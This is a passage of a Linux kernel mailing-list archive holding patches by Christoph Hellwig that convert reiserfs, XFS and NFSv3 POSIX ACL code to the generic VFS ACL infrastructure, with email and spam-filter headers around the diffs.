jcreate_blocks; - if (!reiserfs_posixacl(inode->i_sb)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) { - return PTR_ERR(acl); - } else if (acl) { - error = posix_acl_valid(acl); - if (error) - goto release_and_out; - } - } else - acl = NULL; + int size = acl ? posix_acl_xattr_size(acl->a_count) : 0; + /* Pessimism: We can't assume that anything from the xattr root up * has been created. */ @@ -51,7 +35,7 @@ reiserfs_posix_acl_set(struct dentry *dentry, const char *name, const void *valu error = journal_begin(&th, inode->i_sb, jcreate_blocks); reiserfs_write_unlock(inode->i_sb); if (error == 0) { - error = reiserfs_set_acl(&th, inode, type, acl); + error = __reiserfs_set_acl(&th, inode, type, acl); reiserfs_write_lock(inode->i_sb); error2 = journal_end(&th, inode->i_sb, jcreate_blocks); reiserfs_write_unlock(inode->i_sb); @@ -59,29 +43,6 @@ reiserfs_posix_acl_set(struct dentry *dentry, const char *name, const void *valu error = error2; } - release_and_out: - posix_acl_release(acl); - return error; -} - -static int -reiserfs_posix_acl_get(struct dentry *dentry, const char *name, void *buffer, - size_t size, int type) -{ - struct posix_acl *acl; - int error; - - if (!reiserfs_posixacl(dentry->d_sb)) - return -EOPNOTSUPP; - - acl = reiserfs_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - return error; } @@ -273,7 +234,7 @@ struct posix_acl *reiserfs_get_acl(struct inode *inode, int type) * BKL held [before 2.5.x] */ static int -reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, +__reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, int type, struct posix_acl *acl) { char *name; @@ -343,7 +304,7 @@ reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th, struct inode *dir, struct dentry *dentry, struct inode *inode) { - struct posix_acl *acl; + struct posix_acl *default_acl, *acl; int err = 0; /* ACLs only get applied to files and directories */ @@ -363,37 +324,28 @@ reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th, goto apply_umask; } - acl = reiserfs_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); + err = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (err) + return err; + if (default_acl) { + err = __reiserfs_set_acl(th, inode, ACL_TYPE_DEFAULT, + default_acl); + posix_acl_release(default_acl); + } if (acl) { - /* Copy the default ACL to the default ACL of a new directory */ - if (S_ISDIR(inode->i_mode)) { - err = reiserfs_set_acl(th, inode, ACL_TYPE_DEFAULT, - acl); - if (err) - goto cleanup; - } - - /* Now we reconcile the new ACL and the mode, - potentially modifying both */ - err = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); - if (err < 0) - return err; - - /* If we need an ACL.. */ - if (err > 0) - err = reiserfs_set_acl(th, inode, ACL_TYPE_ACCESS, acl); - cleanup: + if (!err) + err = __reiserfs_set_acl(th, inode, ACL_TYPE_ACCESS, + acl); posix_acl_release(acl); - } else { - apply_umask: - /* no ACL, apply umask */ - inode->i_mode &= ~current_umask(); } return err; + + apply_umask: + /* no ACL, apply umask */ + inode->i_mode &= ~current_umask(); + return err; } /* This is used to cache the default acl before a new object is created. @@ -442,84 +394,11 @@ int reiserfs_cache_default_acl(struct inode *inode) */ int reiserfs_acl_chmod(struct inode *inode) { - struct reiserfs_transaction_handle th; - struct posix_acl *acl; - size_t size; - int error; - if (IS_PRIVATE(inode)) return 0; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - if (get_inode_sd_version(inode) == STAT_DATA_V1 || - !reiserfs_posixacl(inode->i_sb)) { + !reiserfs_posixacl(inode->i_sb)) return 0; - } - acl = reiserfs_get_acl(inode, ACL_TYPE_ACCESS); - if (!acl) - return 0; - if (IS_ERR(acl)) - return PTR_ERR(acl); - error = __posix_acl_chmod(&acl, GFP_NOFS, inode->i_mode); - if (error) - return error; - - size = reiserfs_xattr_nblocks(inode, reiserfs_acl_size(acl->a_count)); - reiserfs_write_lock(inode->i_sb); - error = journal_begin(&th, inode->i_sb, size * 2); - reiserfs_write_unlock(inode->i_sb); - if (!error) { - int error2; - error = reiserfs_set_acl(&th, inode, ACL_TYPE_ACCESS, acl); - reiserfs_write_lock(inode->i_sb); - error2 = journal_end(&th, inode->i_sb, size * 2); - reiserfs_write_unlock(inode->i_sb); - if (error2) - error = error2; - } - posix_acl_release(acl); - return error; -} - -static size_t posix_acl_access_list(struct dentry *dentry, char *list, - size_t list_size, const char *name, - size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); - if (!reiserfs_posixacl(dentry->d_sb)) - return 0; - if (list && size <= list_size) - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); - return size; + return posix_acl_chmod(inode); } - -const struct xattr_handler reiserfs_posix_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .get = reiserfs_posix_acl_get, - .set = reiserfs_posix_acl_set, - .list = posix_acl_access_list, -}; - -static size_t posix_acl_default_list(struct dentry *dentry, char *list, - size_t list_size, const char *name, - size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); - if (!reiserfs_posixacl(dentry->d_sb)) - return 0; - if (list && size <= list_size) - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); - return size; -} - -const struct xattr_handler reiserfs_posix_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .get = reiserfs_posix_acl_get, - .set = reiserfs_posix_acl_set, - .list = posix_acl_default_list, -}; -- 1.7.10.4 From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CA6BE7F69 for ; Sun, 1 Dec 2013 06:07:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5922DAC001 for ; Sun, 1 Dec 2013 04:07:14 -0800 (PST) X-ASG-Debug-ID: 1385899632-04cb6c537b41c8f0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id KPa7JoExzBZRQZlO (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:12 -0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5nc-0003gP-Au; Sun, 01 Dec 2013 12:06:56 +0000 Message-Id: <20131201120656.194735588@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:17 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 14/18] xfs: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 14/18] xfs: use generic posix ACL infrastructure Content-Disposition: inline; filename=0014-xfs-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385899632 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Also create inodes with the proper mode instead of fixing it up later. Signed-off-by: Christoph Hellwig --- fs/xfs/xfs_acl.c | 138 +++------------------------------------------------- fs/xfs/xfs_acl.h | 9 +--- fs/xfs/xfs_iops.c | 39 ++++++++------- fs/xfs/xfs_iops.h | 2 +- fs/xfs/xfs_xattr.c | 4 +- 5 files changed, 33 insertions(+), 159 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 057ae2d..28d897f 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -183,7 +183,7 @@ out: } STATIC int -xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) +__xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) { struct xfs_inode *ip = XFS_I(inode); unsigned char *ea_name; @@ -282,131 +282,23 @@ posix_acl_default_exists(struct inode *inode) return xfs_acl_exists(inode, SGI_ACL_DEFAULT); } -/* - * No need for i_mutex because the inode is not yet exposed to the VFS. - */ -int -xfs_inherit_acl(struct inode *inode, struct posix_acl *acl) -{ - umode_t mode = inode->i_mode; - int error = 0, inherit = 0; - - if (S_ISDIR(inode->i_mode)) { - error = xfs_set_acl(inode, ACL_TYPE_DEFAULT, acl); - if (error) - goto out; - } - - error = __posix_acl_create(&acl, GFP_KERNEL, &mode); - if (error < 0) - return error; - - /* - * If __posix_acl_create returns a positive value we need to - * inherit a permission that can't be represented using the Unix - * mode bits and we actually need to set an ACL. - */ - if (error > 0) - inherit = 1; - - error = xfs_set_mode(inode, mode); - if (error) - goto out; - - if (inherit) - error = xfs_set_acl(inode, ACL_TYPE_ACCESS, acl); - -out: - posix_acl_release(acl); - return error; -} - int -xfs_acl_chmod(struct inode *inode) +xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - struct posix_acl *acl; - int error; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - acl = xfs_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (error) - return error; - - error = xfs_set_acl(inode, ACL_TYPE_ACCESS, acl); - posix_acl_release(acl); - return error; -} - -static int -xfs_xattr_acl_get(struct dentry *dentry, const char *name, - void *value, size_t size, int type) -{ - struct posix_acl *acl; - int error; - - acl = xfs_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - - error = posix_acl_to_xattr(&init_user_ns, acl, value, size); - posix_acl_release(acl); - - return error; -} - -static int -xfs_xattr_acl_set(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, int type) -{ - struct inode *inode = dentry->d_inode; - struct posix_acl *acl = NULL; int error = 0; - if (flags & XATTR_CREATE) - return -EINVAL; - if (type == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) - return value ? -EACCES : 0; - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (!value) + if (!acl) goto set_acl; - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (!acl) { - /* - * acl_set_file(3) may request that we set default ACLs with - * zero length -- defend (gracefully) against that here. - */ - goto out; - } - if (IS_ERR(acl)) { - error = PTR_ERR(acl); - goto out; - } - - error = posix_acl_valid(acl); - if (error) - goto out_release; - error = -EINVAL; if (acl->a_count > XFS_ACL_MAX_ENTRIES(XFS_M(inode->i_sb))) - goto out_release; + return error; if (type == ACL_TYPE_ACCESS) { umode_t mode = inode->i_mode; error = posix_acl_equiv_mode(acl, &mode); if (error <= 0) { - posix_acl_release(acl); acl = NULL; if (error < 0) @@ -415,27 +307,9 @@ xfs_xattr_acl_set(struct dentry *dentry, const char *name, error = xfs_set_mode(inode, mode); if (error) - goto out_release; + return error; } set_acl: - error = xfs_set_acl(inode, type, acl); - out_release: - posix_acl_release(acl); - out: - return error; + return __xfs_set_acl(inode, type, acl); } - -const struct xattr_handler xfs_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .get = xfs_xattr_acl_get, - .set = xfs_xattr_acl_set, -}; - -const struct xattr_handler xfs_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .get = xfs_xattr_acl_get, - .set = xfs_xattr_acl_set, -}; diff --git a/fs/xfs/xfs_acl.h b/fs/xfs/xfs_acl.h index 4016a56..5dc1637 100644 --- a/fs/xfs/xfs_acl.h +++ b/fs/xfs/xfs_acl.h @@ -60,20 +60,15 @@ struct xfs_acl { #ifdef CONFIG_XFS_POSIX_ACL extern struct posix_acl *xfs_get_acl(struct inode *inode, int type); -extern int xfs_inherit_acl(struct inode *inode, struct posix_acl *default_acl); -extern int xfs_acl_chmod(struct inode *inode); +extern int xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int posix_acl_access_exists(struct inode *inode); extern int posix_acl_default_exists(struct inode *inode); - -extern const struct xattr_handler xfs_xattr_acl_access_handler; -extern const struct xattr_handler xfs_xattr_acl_default_handler; #else static inline struct posix_acl *xfs_get_acl(struct inode *inode, int type) { return NULL; } -# define xfs_inherit_acl(inode, default_acl) 0 -# define xfs_acl_chmod(inode) 0 +# define xfs_set_acl NULL # define posix_acl_access_exists(inode) 0 # define posix_acl_default_exists(inode) 0 #endif /* CONFIG_XFS_POSIX_ACL */ diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 27e0e54..a8c7c78 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -123,7 +123,7 @@ xfs_vn_mknod( { struct inode *inode; struct xfs_inode *ip = NULL; - struct posix_acl *default_acl = NULL; + struct posix_acl *default_acl, *acl; struct xfs_name name; int error; @@ -139,14 +139,9 @@ xfs_vn_mknod( rdev = 0; } - if (IS_POSIXACL(dir)) { - default_acl = xfs_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(default_acl)) - return PTR_ERR(default_acl); - - if (!default_acl) - mode &= ~current_umask(); - } + error = posix_acl_create(dir, &mode, &default_acl, &acl); + if (error) + return error; xfs_dentry_to_name(&name, dentry, mode); error = xfs_create(XFS_I(dir), &name, mode, rdev, &ip); @@ -160,21 +155,27 @@ xfs_vn_mknod( goto out_cleanup_inode; if (default_acl) { - error = -xfs_inherit_acl(inode, default_acl); - default_acl = NULL; - if (unlikely(error)) + error = xfs_set_acl(inode, default_acl, ACL_TYPE_DEFAULT); + if (error) + goto out_cleanup_inode; + } + if (acl) { + error = xfs_set_acl(inode, acl, ACL_TYPE_ACCESS); + if (error) goto out_cleanup_inode; } - d_instantiate(dentry, inode); + out_free_acl: + if (default_acl) + posix_acl_release(default_acl); + if (acl) + posix_acl_release(acl); return -error; out_cleanup_inode: xfs_cleanup_inode(dir, inode, dentry); - out_free_acl: - posix_acl_release(default_acl); - return -error; + goto out_free_acl; } STATIC int @@ -683,7 +684,7 @@ xfs_setattr_nonsize( * Posix ACL code seems to care about this issue either. */ if ((mask & ATTR_MODE) && !(flags & XFS_ATTR_NOACL)) { - error = -xfs_acl_chmod(inode); + error = -posix_acl_chmod(inode); if (error) return XFS_ERROR(error); } @@ -1052,6 +1053,7 @@ xfs_vn_fiemap( static const struct inode_operations xfs_inode_operations = { .get_acl = xfs_get_acl, + .set_acl = xfs_set_acl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, @@ -1079,6 +1081,7 @@ static const struct inode_operations xfs_dir_inode_operations = { .mknod = xfs_vn_mknod, .rename = xfs_vn_rename, .get_acl = xfs_get_acl, + .set_acl = xfs_set_acl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, @@ -1105,6 +1108,7 @@ static const struct inode_operations xfs_dir_ci_inode_operations = { .mknod = xfs_vn_mknod, .rename = xfs_vn_rename, .get_acl = xfs_get_acl, + .set_acl = xfs_set_acl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, @@ -1119,6 +1123,7 @@ static const struct inode_operations xfs_symlink_inode_operations = { .follow_link = xfs_vn_follow_link, .put_link = xfs_vn_put_link, .get_acl = xfs_get_acl, + .set_acl = xfs_set_acl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, diff --git a/fs/xfs/xfs_iops.h b/fs/xfs/xfs_iops.h index d2c5057..1c34e43 100644 --- a/fs/xfs/xfs_iops.h +++ b/fs/xfs/xfs_iops.h @@ -30,7 +30,7 @@ extern void xfs_setup_inode(struct xfs_inode *); /* * Internal setattr interfaces. */ -#define XFS_ATTR_NOACL 0x01 /* Don't call xfs_acl_chmod */ +#define XFS_ATTR_NOACL 0x01 /* Don't call posix_acl_chmod */ extern int xfs_setattr_nonsize(struct xfs_inode *ip, struct iattr *vap, int flags); diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index 9d47907..78ed92a 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -102,8 +102,8 @@ const struct xattr_handler *xfs_xattr_handlers[] = { &xfs_xattr_trusted_handler, &xfs_xattr_security_handler, #ifdef CONFIG_XFS_POSIX_ACL - &xfs_xattr_acl_access_handler, - &xfs_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif NULL }; -- 1.7.10.4 From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D291B7F73 for ; Sun, 1 Dec 2013 06:07:15 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7CB4DAC001 for ; Sun, 1 Dec 2013 04:07:15 -0800 (PST) X-ASG-Debug-ID: 1385899634-04bdf06eec424d10001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id AOtTfczLPq0HCgW2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:14 -0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5nc-0003iI-QH; Sun, 01 Dec 2013 12:06:56 +0000 Message-Id: <20131201120656.685815467@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:20 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 17/18] nfs: use generic posix ACL infrastructure for v3 Posix ACLs References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 17/18] nfs: use generic posix ACL infrastructure for v3 Posix ACLs Content-Disposition: inline; filename=0017-nfs-use-generic-posix-ACL-infrastructure-for-v3-Posi.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385899634 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig --- fs/nfs/inode.c | 4 - fs/nfs/nfs3acl.c | 287 ++++++++++-------------------------------------- fs/nfs/nfs3proc.c | 26 +++-- fs/nfs/nfs3super.c | 3 + include/linux/nfs_fs.h | 10 +- 5 files changed, 79 insertions(+), 251 deletions(-) diff --git a/fs/nfs/inode.c b/fs/nfs/inode.c index 18ab2da..53b5cfe 100644 --- a/fs/nfs/inode.c +++ b/fs/nfs/inode.c @@ -1641,10 +1641,6 @@ struct inode *nfs_alloc_inode(struct super_block *sb) return NULL; nfsi->flags = 0UL; nfsi->cache_validity = 0UL; -#ifdef CONFIG_NFS_V3_ACL - nfsi->acl_access = ERR_PTR(-EAGAIN); - nfsi->acl_default = ERR_PTR(-EAGAIN); -#endif #if IS_ENABLED(CONFIG_NFS_V4) nfsi->nfs4_acl = NULL; #endif /* CONFIG_NFS_V4 */ diff --git a/fs/nfs/nfs3acl.c b/fs/nfs/nfs3acl.c index e859675..015c567 100644 --- a/fs/nfs/nfs3acl.c +++ b/fs/nfs/nfs3acl.c @@ -10,179 +10,7 @@ #define NFSDBG_FACILITY NFSDBG_PROC -ssize_t nfs3_listxattr(struct dentry *dentry, char *buffer, size_t size) -{ - struct inode *inode = dentry->d_inode; - struct posix_acl *acl; - int pos=0, len=0; - -# define output(s) do { \ - if (pos + sizeof(s) <= size) { \ - memcpy(buffer + pos, s, sizeof(s)); \ - pos += sizeof(s); \ - } \ - len += sizeof(s); \ - } while(0) - - acl = nfs3_proc_getacl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl) { - output("system.posix_acl_access"); - posix_acl_release(acl); - } - - if (S_ISDIR(inode->i_mode)) { - acl = nfs3_proc_getacl(inode, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl) { - output("system.posix_acl_default"); - posix_acl_release(acl); - } - } - -# undef output - - if (!buffer || len <= size) - return len; - return -ERANGE; -} - -ssize_t nfs3_getxattr(struct dentry *dentry, const char *name, - void *buffer, size_t size) -{ - struct inode *inode = dentry->d_inode; - struct posix_acl *acl; - int type, error = 0; - - if (strcmp(name, POSIX_ACL_XATTR_ACCESS) == 0) - type = ACL_TYPE_ACCESS; - else if (strcmp(name, POSIX_ACL_XATTR_DEFAULT) == 0) - type = ACL_TYPE_DEFAULT; - else - return -EOPNOTSUPP; - - acl = nfs3_proc_getacl(inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - if (type == ACL_TYPE_ACCESS && acl->a_count == 0) - error = -ENODATA; - else - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - } else - error = -ENODATA; - - return error; -} - -int nfs3_setxattr(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags) -{ - struct inode *inode = dentry->d_inode; - struct posix_acl *acl; - int type, error; - - if (strcmp(name, POSIX_ACL_XATTR_ACCESS) == 0) - type = ACL_TYPE_ACCESS; - else if (strcmp(name, POSIX_ACL_XATTR_DEFAULT) == 0) - type = ACL_TYPE_DEFAULT; - else - return -EOPNOTSUPP; - - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - error = nfs3_proc_setacl(inode, type, acl); - posix_acl_release(acl); - - return error; -} - -int nfs3_removexattr(struct dentry *dentry, const char *name) -{ - struct inode *inode = dentry->d_inode; - int type; - - if (strcmp(name, POSIX_ACL_XATTR_ACCESS) == 0) - type = ACL_TYPE_ACCESS; - else if (strcmp(name, POSIX_ACL_XATTR_DEFAULT) == 0) - type = ACL_TYPE_DEFAULT; - else - return -EOPNOTSUPP; - - return nfs3_proc_setacl(inode, type, NULL); -} - -static void __nfs3_forget_cached_acls(struct nfs_inode *nfsi) -{ - if (!IS_ERR(nfsi->acl_access)) { - posix_acl_release(nfsi->acl_access); - nfsi->acl_access = ERR_PTR(-EAGAIN); - } - if (!IS_ERR(nfsi->acl_default)) { - posix_acl_release(nfsi->acl_default); - nfsi->acl_default = ERR_PTR(-EAGAIN); - } -} - -void nfs3_forget_cached_acls(struct inode *inode) -{ - dprintk("NFS: nfs3_forget_cached_acls(%s/%ld)\n", inode->i_sb->s_id, - inode->i_ino); - spin_lock(&inode->i_lock); - __nfs3_forget_cached_acls(NFS_I(inode)); - spin_unlock(&inode->i_lock); -} - -static struct posix_acl *nfs3_get_cached_acl(struct inode *inode, int type) -{ - struct nfs_inode *nfsi = NFS_I(inode); - struct posix_acl *acl = ERR_PTR(-EINVAL); - - spin_lock(&inode->i_lock); - switch(type) { - case ACL_TYPE_ACCESS: - acl = nfsi->acl_access; - break; - - case ACL_TYPE_DEFAULT: - acl = nfsi->acl_default; - break; - - default: - goto out; - } - if (IS_ERR(acl)) - acl = ERR_PTR(-EAGAIN); - else - acl = posix_acl_dup(acl); -out: - spin_unlock(&inode->i_lock); - dprintk("NFS: nfs3_get_cached_acl(%s/%ld, %d) = %p\n", inode->i_sb->s_id, - inode->i_ino, type, acl); - return acl; -} - -static void nfs3_cache_acls(struct inode *inode, struct posix_acl *acl, - struct posix_acl *dfacl) -{ - struct nfs_inode *nfsi = NFS_I(inode); - - dprintk("nfs3_cache_acls(%s/%ld, %p, %p)\n", inode->i_sb->s_id, - inode->i_ino, acl, dfacl); - spin_lock(&inode->i_lock); - __nfs3_forget_cached_acls(NFS_I(inode)); - if (!IS_ERR(acl)) - nfsi->acl_access = posix_acl_dup(acl); - if (!IS_ERR(dfacl)) - nfsi->acl_default = posix_acl_dup(dfacl); - spin_unlock(&inode->i_lock); -} - -struct posix_acl *nfs3_proc_getacl(struct inode *inode, int type) +struct posix_acl *nfs3_get_acl(struct inode *inode, int type) { struct nfs_server *server = NFS_SERVER(inode); struct page *pages[NFSACL_MAXPAGES] = { }; @@ -207,8 +35,9 @@ struct posix_acl *nfs3_proc_getacl(struct inode *inode, int type) status = nfs_revalidate_inode(server, inode); if (status < 0) return ERR_PTR(status); - acl = nfs3_get_cached_acl(inode, type); - if (acl != ERR_PTR(-EAGAIN)) + + acl = get_cached_acl(inode, type); + if (acl != ACL_NOT_CACHED) return acl; acl = NULL; @@ -257,36 +86,37 @@ struct posix_acl *nfs3_proc_getacl(struct inode *inode, int type) } if (res.acl_access != NULL) { - if (posix_acl_equiv_mode(res.acl_access, NULL) == 0) { + if (posix_acl_equiv_mode(res.acl_access, NULL) || + res.acl_access->a_count == 0) { posix_acl_release(res.acl_access); res.acl_access = NULL; } } - nfs3_cache_acls(inode, - (res.mask & NFS_ACL) ? res.acl_access : ERR_PTR(-EINVAL), - (res.mask & NFS_DFACL) ? res.acl_default : ERR_PTR(-EINVAL)); - switch(type) { - case ACL_TYPE_ACCESS: - acl = res.acl_access; - res.acl_access = NULL; - break; + if (res.mask & NFS_ACL) + set_cached_acl(inode, ACL_TYPE_ACCESS, res.acl_access); + else + forget_cached_acl(inode, ACL_TYPE_ACCESS); - case ACL_TYPE_DEFAULT: - acl = res.acl_default; - res.acl_default = NULL; + if (res.mask & NFS_DFACL) + set_cached_acl(inode, ACL_TYPE_DEFAULT, res.acl_default); + else + forget_cached_acl(inode, ACL_TYPE_DEFAULT); + + nfs_free_fattr(res.fattr); + if (type == ACL_TYPE_ACCESS) { + posix_acl_release(res.acl_default); + return res.acl_access; + } else { + posix_acl_release(res.acl_access); + return res.acl_default; } getout: posix_acl_release(res.acl_access); posix_acl_release(res.acl_default); nfs_free_fattr(res.fattr); - - if (status != 0) { - posix_acl_release(acl); - acl = ERR_PTR(status); - } - return acl; + return ERR_PTR(status); } static int nfs3_proc_setacls(struct inode *inode, 